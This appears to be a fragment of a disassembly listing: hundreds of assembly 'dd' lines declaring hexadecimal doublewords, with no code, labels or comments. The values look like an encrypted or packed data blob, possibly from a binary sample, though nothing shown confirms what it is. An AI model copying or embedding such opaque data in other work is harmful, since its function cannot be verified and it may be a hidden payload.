		dd 7C273FA6h, 0A94E47FCh, 162D5B5Dh, 0F850FE2Dh, 93CC50E4h
		dd 9FFE6880h, 540A66D3h, 0BF82736Ah, 802A0FE3h,	0F41DBB9Dh
		dd 0E9840BD5h, 0D94401C6h, 5AF416E2h, 0F72514B4h, 558203EDh
		dd 90276668h, 1610832h,	0CF814E30h, 31A10280h, 53896018h
		dd 89782C16h, 0E94B60BAh, 21919709h, 574A102h, 0EA8AD05Bh
		dd 1AE1E07Dh, 20D82952h, 6F4A0829h, 0A034B505h,	0C300BBB2h
		dd 81547360h, 4502FCBh,	0C4E93625h, 6E31FE94h, 416A5A9Fh
		dd 0D42A96BCh, 17D92013h, 5E767E74h, 19AEE204h,	45C03991h
		dd 131ADFCAh, 4EFDE9FAh, 3DC95EDBh, 0A057B32Bh,	276CF7BDh
		dd 4E227EBBh, 6074D7DAh, 33C477EAh, 767051F6h, 0E2A5DEBDh
		dd 83095D7Bh, 8A5F2DD8h, 87895D5Bh, 639ED146h, 0A9228509h
		dd 7CBB853Ah, 0FDE161BEh, 9AE20787h, 0F64D6C06h, 0FE1AD0CDh
		dd 7731B13h, 0D3FB878Fh, 694183B1h, 0C5F7E0D2h,	0BB9BDD4h
		dd 40C5B1Fh, 41FB0549h,	8B9BF432h, 4FA07898h, 8A4E8DB9h
		dd 54E098D4h, 0B509860h, 9A80E948h, 0E5816CE4h,	5D162A83h
		dd 0F809FFCAh, 19D7505Fh, 51C7Bh, 0F217C3F1h, 53050585h
		dd 0C1315B58h, 0F0B2E2FFh, 0BDC8315Ch, 75EFD438h, 0F018C4BFh
		dd 0B4104013h, 0D45E3170h, 0F53F87C2h, 0D6EB5361h, 64C0941h
		dd 56550042h, 117ADA68h, 89905E17h, 296DCE0Bh, 270A054Fh
		dd 81EC5DD5h, 34F80925h, 0F682D37Fh, 42B5091Eh,	78F630D7h
		dd 3F99D44h, 10E2068Ch,	0C1C3A35Fh, 6D226964h, 153CE709h
		dd 6FCD4702h, 5907C320h, 0B1335E38h, 88CCA65h, 9097AD3Ch
		dd 8085EE89h, 0E6078146h, 37CE515Ch, 0DF427DC2h, 56988366h
		dd 4576C80Fh, 55E94533h, 0F002D1AAh, 72A4103Ah,	0AD7C599Fh
		dd 0C3A44B8Ch, 34B51E16h, 0D36810E0h, 95E348h, 42E30C6Eh
		dd 30E9EB21h, 0D7C7796h, 37002C7Fh, 0CB440558h,	0A2319F94h
		dd 46B880A4h, 0EB6AA05Ch, 0DA2909C1h, 874BBBD3h, 4DCF0559h
		dd 85F91C80h, 0E1454BCCh, 84BE0407h, 5BAECE41h,	0E909259Ah
		dd 0B110AEC1h, 151B70BAh, 754C3137h, 0E9D31206h, 0D064C067h
		dd 0FFE480EDh, 1DDD06D4h, 5AFCB48Dh, 3A8EAD61h,	0BA599E78h
		dd 2A4ABFC0h, 1260F09h,	0ACFA8F9h, 102083C1h, 7FC52CC1h
		dd 0B13B637Eh, 0B6836A4h, 0E6256568h, 71D824E0h, 0DACD9D4Ch
		dd 0F560752Ch, 0FB83EFB0h, 3A41E932h, 2CB2B72Ah, 542D5453h
		dd 0C760AFACh, 0D44FA7E9h, 4E5F678Ch, 8456E956h, 0E3ACE551h
		dd 8A6857CBh, 0E65A68DEh, 5AC9C8F8h, 0D0BB31DDh, 0FEDE122Ah
		dd 0D98A5A3h, 0F467F8E9h, 1A72D765h, 75944A63h,	0E247768Eh
		dd 36D25A58h, 5C482AC0h
		dd 628238ECh, 5DD6EE16h, 4B4F7Eh, 79743C18h, 0BECED55h
		dd 311E01B6h, 8E9FE29h,	0FFA3544Bh, 0BA976CE2h,	5B7DD083h
		dd 3BE5D1B3h, 0E9AC05FCh, 38FAF2B7h, 85B5D4C6h,	0CAAFD1Ah
		dd 309144Bh, 0C53F7AB5h, 0ECF4E908h, 4D350293h,	0FF43C35Eh
		dd 0EE427B04h, 0A05BE8A2h, 0F78ABB91h, 4C6532DBh, 407C46AEh
		dd 7F9D3039h, 0A528F895h, 4B41519Dh, 0F270EC02h, 420AF3FDh
		dd 0C220390Dh, 3E774250h, 932F5289h, 0C1FE38C0h, 0DE18639h
		dd 8D2F6D4h, 0F1801084h, 64A0BFFAh, 0F8288869h,	4022C0Fh
		dd 18865B5h, 7C4ECAABh,	79B7A925h, 6C7227C9h, 8040820Dh
		dd 0A92A0C52h, 55C3256Dh, 0AA9279AFh, 0E95F85C0h, 0E12C70CEh
		dd 0A57C616Fh, 0D55CA738h, 9507F44Fh, 3BD0F7h, 3864DB8h
		dd 0C00505CCh, 0C2116127h, 7812D90h, 8958E7E9h,	0E0505344h
		dd 0FE650526h, 985B687Bh, 6D680707h, 0EC770923h, 17EE89DAh
		dd 0BF19012Eh, 703E15B9h, 6AF54943h, 493F3B3h, 7CC55D8h
		dd 0DDF1D028h, 492C972Ch, 5845B2h, 40BC584Bh, 0F2A135B2h
		dd 0CC565266h, 5E776BBEh, 55E499B0h, 9AEE0AC3h,	3121B609h
		dd 0EA174F58h, 0C60A8471h, 0E60322B9h, 0C1FB478Fh, 0C22206ABh
		dd 0E0EF3359h, 0CE040B6Ch, 0F6324245h, 0B4F16EEh, 3160FFBAh
		dd 14B7ECFBh, 0B9C030A9h, 7A9DC117h, 79CB092Fh,	5A0A10E7h
		dd 0E90130EBh, 34CBEA15h, 0C05AC95Eh, 0EFD6843Bh, 257D8AA6h
		dd 0DBA66043h, 1807C85Ah, 0F7422661h, 3E02C9Dh,	52474C68h
		dd 4FE4396Eh, 0A188B96Dh, 0A36EA268h, 0ABE985EDh, 0EDAF26D4h
		dd 71731016h, 94B1510Eh, 1065F213h, 810367D0h, 0CE3718E3h
		dd 58C5163Fh, 0E9A0A5B0h, 8C544A0Dh, 464FEDCEh,	0D31089F3h
		dd 1D307DE8h, 11050A37h, 50D90964h, 7E06D8F7h, 3F80A40h
		dd 0D7F9810Ch, 966B5A89h, 45D16CDh, 0C58B29Bh, 13EAF85Ch
		dd 4835413h, 90F69FAEh,	7399BB2Ah, 5D9531E8h, 0B45BA307h
		dd 0F716835Fh, 1101C63h, 691F4C7Ch, 139EEEDDh, 4C7BCA36h
		dd 2F9B5C52h, 60F7594Eh, 5167697Eh, 0E213CDFCh,	5A1E4607h
		dd 0BFF4D025h, 21618165h, 2D205DE8h, 0E4688008h, 5339CA97h
		dd 181FACCAh, 70EF4B6Ah, 2F1A4616h, 12591EEAh, 0A86C56FAh
		dd 21045F8Ah, 98FB30DBh, 7B5EEBF2h, 5016B6B6h, 0CB9C0853h
		dd 0FE930501h, 167BC808h, 1DDF0049h, 90D415Dh, 7876AAB0h
		dd 2DBB3AE1h, 7E65FD14h, 2F0B3C17h, 75B22B1Ch, 0C9E180B3h
		dd 8EA97A3Eh, 65B2AF93h, 0B4570B16h, 614BD61Dh,	49A9B08Ch
		dd 0E8893A50h, 1ADB32E2h, 5D98BEE5h, 966F0256h,	15B1E968h
		dd 59CC6948h, 7DC7801Ch, 6C4EFCBh, 7833177Eh, 0A85C17EBh
		dd 0AE50BE53h, 7D5E2F08h, 27DD2C8Bh, 0F0E9E930h, 0A25B9DA8h
		dd 7E5854E2h, 340BC95Eh, 9E40EC5Dh, 606E9C1Ch, 0CB625758h
		dd 0F18C90E6h, 87C10655h, 1ACF21EAh, 54B9DC4Ah,	34FD5BCBh
		dd 0C1E927EAh, 5A667B02h, 37CAF563h, 0A3059DC8h, 4ADE5D00h
		dd 5FCF0735h, 0F0F8BD9Ch, 0F8E5A0B7h, 940C3674h, 0AE5C6914h
		dd 546427C2h, 0C2DD69A7h, 1AAE56E0h, 0B5018958h, 64736113h
		dd 0B30543B5h, 0DE21EEB0h, 8E905D85h, 1E9D6851h, 0D21D586Ch
		dd 0F617450Ah, 4C681D0h, 0DE6E3069h, 0C484F595h, 84698564h
		dd 0DEF4BC7Eh, 6F944D12h, 490F8DD1h, 0BC0587BFh, 0BB8030EAh
		dd 45EE77C1h, 0DC8BFF02h, 0E42E8CC0h, 59BDFE79h, 5EA28BABh
		dd 0BF1C6577h, 0F4061B17h, 25050EACh, 0F3814C72h, 2EB527C0h
		dd 0E8D34FF7h, 0B8A84BE6h, 12DC8040h, 0FC2710D6h, 0C6C5692h
		dd 6D7F5DE9h, 31C001F6h, 0EEC14F2Bh, 383FF907h,	99A04F19h
		dd 54F77A87h, 7C5CF03Bh, 2EF4B581h, 9A0C0053h, 0E91CF538h
		dd 61C0BAE1h, 6B7810C3h, 93295D3Ch, 0CBE0841h, 9E7E683Ch
		dd 7526C3F8h, 0D5EE3F25h, 0E95DFF84h, 0C84584C0h, 72F02107h
		dd 2C07799Ah, 0B7535A40h, 0D7F60BC9h, 0F102B450h, 157F709Eh
		dd 544608F2h, 0E701F5ADh, 848DC580h, 0D5F65206h, 0BCD978C1h
		dd 0C5C4AD2Eh, 0ECB51FF2h, 2AFCC83Fh, 461DC09Eh, 75DCF68Bh
		dd 7C887BC5h, 12D3DE0h,	295AE3DEh, 0E13ED58Ch, 7FB467A1h
		dd 0D4A700E8h, 0AA749493h, 0BD830DC7h, 2D100722h, 0FBB470E6h
		dd 1FD0387Fh, 74A60634h, 0D1DF281h, 4CD00132h, 0A464411h
		dd 0F1226E0h, 5CCE02E6h, 1E117B9h, 60DAD14Bh, 1E702E69h
		dd 595C7697h, 2FD56542h, 5DEAB4D0h, 78613C5Fh, 0E955C282h
		dd 0D97F8256h, 1381C489h, 0FB6C6FFh, 0A8DEFE9Fh, 6CF205AAh
		dd 0B8290146h, 0C0A9098h, 89035868h, 314140FFh,	6590C27Bh
		dd 0FD7B4417h, 0D1D7AC05h, 0BD55C4C0h, 2E5D145Ah, 541C820Ch
		dd 65456DFFh, 0AE442E26h, 0C52CA8BBh, 3E986AA5h, 37BC5B77h
		dd 0BC614439h, 6AFAC529h, 752A88E3h, 1C4C9585h,	32B1589Dh
		dd 581CABD2h, 0EB8AE9DFh, 79A227CCh, 823AB236h,	0FB4E7708h
		dd 4C4CF029h, 988F990Bh, 0C58ED79Fh, 0BEDA6877h, 0C8568533h
		dd 0EA412DBCh, 0E954C48Bh, 0D253D76Dh, 2E5E1289h, 74DECB62h
		dd 5CAC8055h, 335B48F8h, 6BFD8EA8h, 20854D81h, 0FEE6F98Fh
		dd 755D3FC2h, 794B7DD1h, 681F30D6h, 0B7A62642h,	0D6F60F0h
		dd 911EC98Bh, 0C05D419h, 6D151AF4h, 6A579DAAh, 480D7A78h
		dd 38A1AE5Dh, 0F1BF049Ch, 1447F413h, 5605C0B9h,	0E2F528E9h
		dd 0F154F0DBh, 3C039527h, 3C2EB8AFh, 2B92F2ADh,	716FBE41h
		dd 0A13B4F42h, 5B070285h, 359DECC0h, 8D0B3EE7h,	5FAC06E6h
		dd 0C3E0B5Ah, 158F612Dh, 0AB458B0h, 9455574Eh, 0DE09C21Ch
		dd 0D717823Dh, 5BF8E05Ah, 365C031Fh, 4705E7C1h,	0BE5D1405h
		dd 94EAE6E2h, 4EA6EF02h, 60BB4793h, 0BB61042Fh,	6E8B4BD0h
		dd 0AE2E608Ah, 40D97973h, 59CE0903h, 0C9F96855h, 0F33A4EDBh
		dd 4F312444h, 303CC581h, 0F841783Fh, 48306928h,	0A6CC5EE9h
		dd 20BF7938h, 0E0C05992h, 0E181F607h, 0AA3B1F71h, 0EB80E130h
		dd 0FD06CAE7h, 7B5710B8h, 0D0FCCE0Fh, 0EAC6A7E6h, 0FCEBF304h
		dd 394785C1h, 8D3D5B8h,	253B6BFDh, 0F15904B3h, 16730DE4h
		dd 12771861h, 9095E4F6h, 79E12F70h, 1C05C047h, 0BF06E435h
		dd 7053B42h, 0D488BB5Fh, 30AACD5Eh, 0EF2C2B0Ch,	0AF69051h
		dd 14F30737h, 46605AC9h, 59813191h, 4A220E89h, 54FCF3ABh
		dd 5533391Ah, 3AA61D5Bh, 7525141Ch, 71B27E96h, 5DAC5520h
		dd 98742D66h, 230530EDh, 0DF55EB0Ah, 4C1EE926h,	0FEDD8797h
		dd 4A9BBD7Bh, 5B3D2C8Dh, 18108894h, 0DAB80064h,	55C5B4B0h
		dd 0EFC9E789h, 39348E72h, 6CDB04AFh, 9C8CBE47h,	2FF4BC63h
		dd 707A6F5Ch, 673AC4A4h, 0C43AAC1Dh, 5E02BEE5h,	7E62CA29h
		dd 0B9284A76h, 259B8A83h, 0F84F02E9h, 2CC5B372h, 70FB14F7h
		dd 32B9F657h, 0F418532Ch, 9B425F27h, 58BE50A8h,	7E406968h
		dd 845B4BE9h, 708BAF76h, 0A43FF013h, 859FC736h,	83DC565Dh
		dd 8D924AD3h, 386FE501h, 0C7ED5FA4h, 1152FA4Eh,	0E2DBD24Bh
		dd 7A17DC2Bh, 45175975h, 2F9AE8B5h, 1238505Ah, 0A3774568h
		dd 6755101Eh, 0BB05BB5Ah, 0D2493E80h, 0CE317FD9h, 0A4893089h
		dd 7DBBFE40h, 38033D6Bh, 7242B225h, 8B906FFDh, 8D1AF541h
		dd 2ACA7F40h, 0E13F2828h, 72F63740h, 0FBDA50D2h, 5D92A926h
		dd 82906B33h, 5601EDC0h, 0F5E80B44h, 55698991h,	7B67DF80h
		dd 750BB90Ah, 78013F31h, 0F6A9014h, 7A38797Fh, 54ECD4Dh
		dd 0DEB3FF08h, 0ABC22593h, 0EC713284h, 0B4054CB5h, 9740A54Eh
		dd 0E57EFD31h, 30A0EC68h
		dd 20EA28ABh, 215D4578h, 0A3D6130Ch, 298B80ADh,	84C3ECF7h
		dd 4EE93BA3h, 0EA2F0D49h, 7EA778DEh, 0DEA10597h, 4BD205B5h
		dd 277CA79Ch, 0F93DA29h, 306C6233h, 882A03Dh, 38454E41h
		dd 69BC5F6Ch, 8194BDA4h, 4DCF265Eh, 0CB60C3EDh,	97859D95h
		dd 0D673045Fh, 9F6802BFh, 0B2897170h, 99415823h, 0B9FD890Fh
		dd 7CDD80F4h, 9059ABBh,	0CB01E718h, 0D0B96C0h, 0C1641002h
		dd 404702EFh, 64DA627h,	0DAF7791Eh, 0BC1DD84Ah,	1D4D57Ah
		dd 0B6E9099Fh, 883BD537h, 2F6212D9h, 0BE12638Ah, 8DB3E92Dh
		dd 0D0C029F6h, 0EE86582Ch, 6655D4Dh, 93BCC10Bh,	0D4326F75h
		dd 45D7897h, 0BA34CB2Dh, 4516BA15h, 0E94D70FFh,	689210DCh
		dd 45EACD0Bh, 88340F91h, 0BAEB92BDh, 1F8220C4h,	0B7CC0B79h
		dd 4AB8525Ah, 37D8E9B0h, 17EF5BC0h, 2FC44AE0h, 27FDFA21h
		dd 0F2E00705h, 4D3BC7D9h, 9858068Ah, 0EA520212h, 814A30F2h
		dd 654555Eh, 667F0C70h,	0FD263D0Eh, 265A7413h, 1E0A0DBCh
		dd 80D95B7Ah, 0C977F381h, 0E912ADF6h, 38BF4810h, 66BB5FF8h
		dd 15822C64h, 54EF55Dh,	43707471h, 34A8D482h, 9E9C8511h
		dd 57405C8Eh, 9D5922EDh, 68C12379h, 0E90108E0h,	41663585h
		dd 5234C691h, 0D480D3BAh, 56F77639h, 4E3CD09Fh,	9DB5164Fh
		dd 371200Dh, 6C7F4A6Dh,	0BD5B5134h, 0E91C77E6h,	0DF254908h
		dd 40A421C7h, 6FF15CE4h, 0BD02A41Fh, 3F4A4BD5h,	0D9886974h
		dd 0C842662h, 0A3F1411Dh, 0F6E33A5Eh, 0EF62C913h, 996BFF79h
		dd 0BA8A2E16h, 4427CA15h, 71AA1550h, 81430356h,	951FFEE1h
		dd 425CE1DDh, 207C858Bh, 0E6FE5C12h, 0FBD093C0h, 9E4ED768h
		dd 357462C0h, 28C798FFh, 0A351D73Bh, 57598B2Dh,	82B5BF6Eh
		dd 0B205D866h, 18A420BEh, 5B34DA26h, 0EDFCE44Dh, 93333107h
		dd 44F5684Eh, 8CBC60EBh, 124CB413h, 16B804B3h, 0F0FA7BDFh
		dd 741286D3h, 0C61C79F3h, 7E784CC0h, 9F6F35E9h,	0D09F0253h
		dd 27439408h, 2F9FEC7Dh, 2F5FFA8Eh, 0E8530453h,	0EFA728EFh
		dd 0F1E4BF41h, 0FCC34A88h, 0F5912F74h, 71FD601Ah, 20E20C09h
		dd 0DA4A363Dh, 0E5FEAC8h, 87DEF75Eh, 9604CD74h,	0EA7EB266h
		dd 74CFFF90h, 1B7B3372h, 28C1D81Eh, 0B5864040h,	7D4E4215h
		dd 5E2DEEF2h, 0AF565287h, 0F955B009h, 16BACAD9h, 0EF31BA2Ch
		dd 0EC6E2A88h, 7EDAB3FEh, 6B9EB51Ah, 0A009F891h, 0DDD4CAC4h
		dd 0C05D354Ah, 9599BCCAh, 68C1B875h, 6560644Eh,	2A12AFDDh
		dd 0E97D3CEEh, 6C5BAA2Fh, 3FF14C5Ah, 0EB665927h, 0BD28C322h
		dd 5172D15Ch, 0A7E98ACBh, 1A55AFF6h, 6727D2Bh, 0B7FD5C68h
		dd 0CA4FC705h, 65F28F00h, 104A5172h, 292AFE9h, 96098FBAh
		dd 3CD07511h, 592D6A2Ah, 0B05A5129h, 420B6B24h,	0C569FD2Bh
		dd 7CC7F9Eh, 0EBC12E5Ch, 3F8A538Dh, 95216465h, 79007C3h
		dd 50F9885Ah, 62CA4752h, 0E55C5AD4h, 2F42C726h,	82756535h
		dd 92567C6h, 3C0B6CD8h,	0FD7D0834h, 0D7ED389h, 0EEEC0BA0h
		dd 0DD2717A3h, 5422545Ah, 0FFBEB2BDh, 7FE308F8h, 172960E0h
		dd 0AB6C8045h, 5AEDD340h, 0B5014F20h, 6F40DE78h, 31772568h
		dd 662578DBh, 86816A1h,	2B30EB0Bh, 9DA4442h, 0C3E95F19h
		dd 25488DE0h, 65E1009h,	0DE160129h, 60FA0957h, 287D28ABh
		dd 4AD507CFh, 0E0FBFC52h, 0B9097168h, 3B76A5C4h, 0E197821Fh
		dd 16BBA041h, 823B02D9h, 0EA8FE2DCh, 286D1E61h,	740C800Eh
		dd 0E929ABBEh, 69436557h, 6AD4FFEBh, 0CBF7F8EBh, 9C769Fh
		dd 350E4205h, 0D8280145h, 5495072Dh, 9D466271h,	3C5C500Ch
		dd 0BBCF2FA0h, 0B501FF2Ch, 87240953h, 9F02BC2h,	0A7A859BEh
		dd 0E6BF77E7h, 506B2010h, 4085F8E7h, 0C0591CC5h, 0C2808403h
		dd 2996E10Ch, 4998D583h, 62A81B55h, 687D3E32h, 8CCE851h
		dd 19B85D08h, 38847D4Bh, 0C65056F3h, 0BD688038h, 9035284Ah
		dd 0FDCFC2A2h, 345B0070h, 30F5B599h, 58D5C1C5h,	7F795368h
		dd 2C59BD71h, 73FB7DC2h, 0D69FE5A0h, 17E906DCh,	664E5A48h
		dd 0C30896E0h, 3227EB0Ah, 1A421507h, 0BBC15356h, 353D2931h
		dd 0C5AEE916h, 4F3DEA8Fh, 9C26CB3Ah, 5C1A2810h,	664012D2h
		dd 0D9B727F6h, 4CEE8B32h, 80C5B17Fh, 8D8D8C2Eh,	554B1DBAh
		dd 1CFC2CAEh, 47488195h, 0EDE0DFF7h, 25D7959Fh,	78780C7h
		dd 0B1CCEC33h, 0EC2A43EBh, 0C7AA755Ah, 0EC5A4B7Fh, 0D82B14B1h
		dd 754154AFh, 2989B478h, 9553C4FDh, 1B09EBD9h, 0B08C9470h
		dd 0E9549723h, 0E9846DA9h, 2CB92312h, 0DF8555CFh, 6B78A4F3h
		dd 64D10200h, 5D5FF829h, 106B9A51h, 160FCE68h, 0F9C41EE9h
		dd 14D045A0h, 0EE49B875h, 9D529C05h, 5E90937h, 0A5E2628Fh
		dd 8E5F8A92h, 80C269BCh, 0D1181AAEh, 0E7810058h, 78954F76h
		dd 0A8A3D7F7h, 0C109889Eh, 0D7DB54A9h, 0E02F4B70h, 0E107D5Eh
		dd 5389ABFh, 914EFE1Bh,	9EAF1717h, 0E4F64EDCh, 0A4E8EA2Fh
		dd 8D1EACF3h, 0B7CB3947h, 0A8B6594Eh, 37250B01h, 0B5DA4C02h
		dd 0DD112A6Bh, 0AF0282CAh, 465D27B7h, 40245E9Dh, 736A758Ch
		dd 689D5E76h, 729CF66Ch, 0E91D09DAh, 0AC1A171Fh, 69B2C802h
		dd 0B9D32103h, 8D6A45A3h, 2EFA61B5h, 59F620EFh,	1A5F7268h
		dd 446B3C32h, 0ABEF07A5h, 0B27FCB2Bh, 0DE55DD32h, 64F240A8h
		dd 7269B958h, 6D40F728h, 565BEEE9h, 3A0015F2h, 0A3BB0465h
		dd 6E4F9E7Ch, 0C383CAC0h, 434B28FFh, 5CEC0EA0h,	0C3DE30C7h
		dd 18D7312h, 91FA180Bh,	0AE987F8Bh, 0A8623BE9h,	59CA305Eh
		dd 2C5C4994h, 0D8B3E942h, 0B0B80500h, 0EF2D3319h, 6230140Bh
		dd 0A07B6C52h, 20344845h, 0C570599Dh, 9238BF30h, 614411C1h
		dd 27BD1855h, 0C00C3CDh, 73FD5E23h, 0C2E158E9h,	0B9F68052h
		dd 2B8E841h, 0FF56575Ah, 24E828E2h, 4CC8EBC1h, 6A59F2h
		dd 114D9A86h, 2AEBD15Fh, 0EA017CBDh, 443C2C93h,	420CA01h
		dd 3809954Ah, 728759D5h, 0FAB1DE5Dh, 5E4858FDh,	0A831FE80h
		dd 0D59E2566h, 0AA7844C7h, 2E0A8037h, 5A124461h, 65A03AE9h
		dd 2ADC0FBDh, 844B586Fh, 0AB545042h, 142F5951h,	72316F65h
		dd 3E5D5824h, 81D700E2h, 397C09DDh, 0D2E9E00Eh,	0ED4CBD46h
		dd 8725512Ah, 7EDFEE06h, 172F1D23h, 0A315685Bh,	192F78C2h
		dd 0CE7651Ah, 724C5558h, 0E1E0FC92h, 973D3DB9h,	0DBE4D648h
		dd 76F295C1h, 0BC40C298h, 63F8BF66h, 2CB40212h,	1DEE0308h
		dd 0BB8C9740h, 1B28AF89h, 0DDDEFA4Ah, 0F8CFA23Fh, 5D25DD44h
		dd 0C2164245h, 22D92DEFh, 0BEE41710h, 46DD7E20h, 98634CD6h
		dd 0EE4D1F01h, 2EFB0147h, 0D695BD34h, 120021Fh,	0D8E1815Eh
		dd 0DB4E9C2Fh, 8C1908E8h, 1B410D3Bh, 0E127E425h, 88A40C75h
		dd 517A8402h, 19A7812Dh, 54BF0286h, 83D4ADFBh, 93DDBF39h
		dd 8EABF1F5h, 0DBB57641h, 677492Dh, 785B748Fh, 343F24FBh
		dd 5F9D0253h, 5F40096Dh, 382C16AEh, 1030CC2Bh, 60087A06h
		dd 9EFB0C63h, 9953DE8h,	0BB6F0089h, 17310613h, 0FA5AD721h
		dd 6EE9A430h, 49C7B66Bh, 0C331BB83h, 0AEA4FEE3h, 0A8ECCADDh
		dd 0A8CB99D7h, 94555ADEh, 1E44AEEAh, 810023B3h,	1E9419F5h
		dd 0E8892014h, 12EBB485h, 0B737BB64h, 3EFCDFE4h, 3E3D5CA1h
		dd 0B10494E3h, 81E037BAh, 20226689h, 0FE4C29C5h, 5F08400Eh
		dd 0C3BD2097h, 2D374E52h, 3F082905h, 0A3562408h, 5E9E2C8h
		dd 0F281BEF6h, 173F0F38h, 0E12DFA2Ah, 0EFCD132Bh, 37E9BB42h
		dd 0A41779A6h, 128400B3h, 0CE8113D0h, 6877A101h, 5E6C171h
		dd 1D070692h, 3BC3C246h
		dd 0A2C03DC2h, 422D0BC7h, 416C7605h, 812682E9h,	0C5D1BBB0h
		dd 7CE9EE41h, 0EB4BB868h, 0F86A6199h, 6A084161h, 116971F9h
		dd 0F1BD29FDh, 72C02D77h, 7A1EF435h, 9C8910C6h,	262D463Dh
		dd 0C2533B34h, 0EE74D788h, 0CCFADA53h, 0A040BD5Fh, 5A4D58C5h
		dd 0F5025A93h, 0C1BFB68h, 15B16C7Eh, 5C42CB02h,	1E76757Fh
		dd 585F0820h, 49501E5Dh, 88535012h, 424A88ECh, 0BCA47C31h
		dd 0B93CFA2Bh, 6E22555Bh, 0BAA5912Ah, 7065577Ah, 63A95A1Eh
		dd 0CFDABE04h, 0B5EECA90h, 2BFB2A7Bh, 712D92h, 4A68520Fh
		dd 0E4F1C525h, 0ADA9984Fh, 168C955Ah, 0E8684F2Eh, 5EF5F750h
		dd 0EF4BDCA8h, 0D3D2AA67h, 4951DEDAh, 0EB1AD3D5h, 0DBE5ACC8h
		dd 9EB281D2h, 0E9EB29C0h, 92952EF7h, 27D1F703h,	70A96858h
		dd 8671BF13h, 700B5BC8h, 4F06DCB6h, 0D0631E05h,	0C0FCCC59h
		dd 3C5282A2h, 20CBF407h, 63CE58E5h, 0F3CDFE08h,	0E830B9C5h
		dd 7B4C4A7Dh, 560DCC16h, 7384BEEBh, 3ABDCFEBh, 739F31E9h
		dd 9570EBC6h, 7B41F699h, 975D9DA2h, 14963C5Eh, 82DAF26h
		dd 9DE2B1F4h, 0AEDF763Ah, 63C487Dh, 31711A68h, 4A652F20h
		dd 3FDFF505h, 0BBA53CF8h, 0E1EDFAF1h, 3E01BE05h, 76B5633Bh
		dd 2561802Bh, 0A1012354h, 7CDE3537h, 0CAB95BD1h, 67EC268Bh
		dd 8839ED2h, 929C9AAFh,	0F43F3C58h, 56B70570h, 0CDF2E9DAh
		dd 0B9F90254h, 986F52B5h, 14640947h, 0A8817617h, 0F6B70BA1h
		dd 75D162F7h, 0E94180D3h, 0B8C5B36h, 562C2082h,	314F69B8h
		dd 607309A4h, 685719AFh, 0F82D6655h, 854A8060h,	1C0DF5BDh
		dd 2724AEE9h, 5BFD3C57h, 0BECDC0ADh, 0EB1E41A4h, 257E310Fh
		dd 7F42C2E1h, 24AA9EE7h, 27935553h, 2D5A8026h, 179DA2B0h
		dd 8C22996h, 0B82E7445h, 0DE8F612h, 0CFB9B35Eh,	0A7BF938Fh
		dd 1FFD13BCh, 593F08BDh, 0A180FC4Eh, 0B193F04Bh, 0D947A5C5h
		dd 53423AEDh, 772C875Eh, 0CE5989D6h, 0BDB05F8Fh, 53EF014Fh
		dd 70776CE9h, 10F6749Dh, 1D2B81E9h, 84D9C888h, 0F66F52D7h
		dd 0C0079AFFh, 8010C1AEh, 383F49B9h, 292D86Fh, 2542660h
		dd 0D1807746h, 0DB641FF3h, 8391EAB5h, 62E95D67h, 2DE8605Fh
		dd 0B757C4DFh, 0DE9562DAh, 21507180h, 4F203CC4h, 0BE6A53CCh
		dd 69B800E6h, 406BAE29h, 0D4D0F72Fh, 5B5A04BAh,	918DEB2Dh
		dd 6426AA00h, 7C5A23h, 76EE055Dh, 2BFE62Ch, 0DDE957C9h
		dd 1ABEAEA0h, 204A3E0Dh, 5A376244h, 0F1D31EEh, 0FD10AFF8h
		dd 66680EA1h, 0C4486C2Dh, 2DD950A2h, 3B88822Ah,	5915261h
		dd 0BB878B85h, 0B0C5486h, 7A196FAAh, 20A7B788h,	140CD008h
		dd 0E067F85Bh, 0E56245EEh, 75F98821h, 5AD02800h, 0CDCAFEB5h
		dd 0A2AB019Ch, 4EA66397h, 85BD28BBh, 10900995h,	80C579F1h
		dd 0F9B59EB4h, 0EFF5972Eh, 124B76CCh, 635A730h,	8D9A4CF4h
		dd 0B252E701h, 0A3F28072h, 0E0F3C2CCh, 0CAE912D7h, 89DEB86Ch
		dd 41D4D156h, 7E7BABE9h, 0E0779ACCh, 0AC6A5B64h, 9CD6D8BEh
		dd 677A9E74h, 0BB10ACA7h, 46418409h, 4D26F579h,	68073459h
		dd 646119FAh, 637E658Fh, 3087DDABh, 0F7972DB6h,	0A2974294h
		dd 449703Bh, 1FB2FA01h,	0FC5F25C4h, 0D065C4A2h,	9768B9BAh
		dd 0AF0894BBh, 0D2FEF6D4h, 6A405AF3h, 0CE676E14h, 381E5F0h
		dd 6C256895h, 48241EE0h, 0ED000977h, 0A4FCF82Dh, 336E11E9h
		dd 0F55DC9C3h, 765596C2h, 63E4EFE5h, 5930EEE5h,	0C5542B68h
		dd 0CDCE1EBDh, 3FD3CD7Ah, 0A740F717h, 685F5457h, 3358628Ch
		dd 71FDB666h, 0FB68C171h, 7E55C237h, 33F45ADDh,	0F7867FC2h
		dd 0F92CD2FBh, 1A05D342h, 1C4EA060h, 0B07AFC2Fh, 0BA9C3DD3h
		dd 23F13C11h, 0F34A6E17h, 0E294C4BCh, 4AF68100h, 6850E03Ch
		dd 4EFE13C4h, 0F3016B12h, 5A7B6819h, 198C423Eh,	0B5DE3D10h
		dd 1A975D44h, 850B9593h, 2DE6DAEFh, 0B1BC7757h,	6AD30CA1h
		dd 5A43C914h, 0DAB619FBh, 924E7234h, 0F2B567C2h, 5AD13425h
		dd 2E21B520h, 1E2CCD05h, 1F4300B9h, 9FA4DF3Fh, 0AA5B9666h
		dd 36FD959Dh, 62D9FDFAh, 2F7A21C9h, 0BDB760Ch, 0F5A1E9F5h
		dd 308B63D4h, 26B67F3Ah, 3D8D96BCh, 525267FDh, 9CE61D7h
		dd 46C1DE54h, 880412F7h, 683952BFh, 82CC4F3Fh, 324F12C6h
		dd 5C25FA36h, 94061ABBh, 5E0C61D7h, 0D8AF736Ah,	0DA507BC6h
		dd 5841F1E1h, 0E22F66F9h, 1C181079h, 83CB14Ch, 390BD225h
		dd 0DAC0ED10h, 0E4EBD80h, 456D352Fh, 2E5C120h, 0C990C583h
		dd 24C43B30h, 955FF368h, 67875B1Ah, 69C03090h, 0AF4FC4E9h
		dd 0FD58DA22h, 0F48D1704h, 120BF5A9h, 92D5A2Ah,	51D204A4h
		dd 807835FAh, 0E8199F95h, 0D2755Ch, 0F239675Ch,	49E9FE31h
		dd 9D4BC77Dh, 590DF444h, 0AA7459Fh, 0B847BE9Ah,	6118C32Fh
		dd 0C29869B1h, 71634A27h, 8032670h, 511F98A0h, 5BD4A6CDh
		dd 5791B02Eh, 87CB5D50h, 4E2ECA14h, 0F8EC5FCAh,	8F143E04h
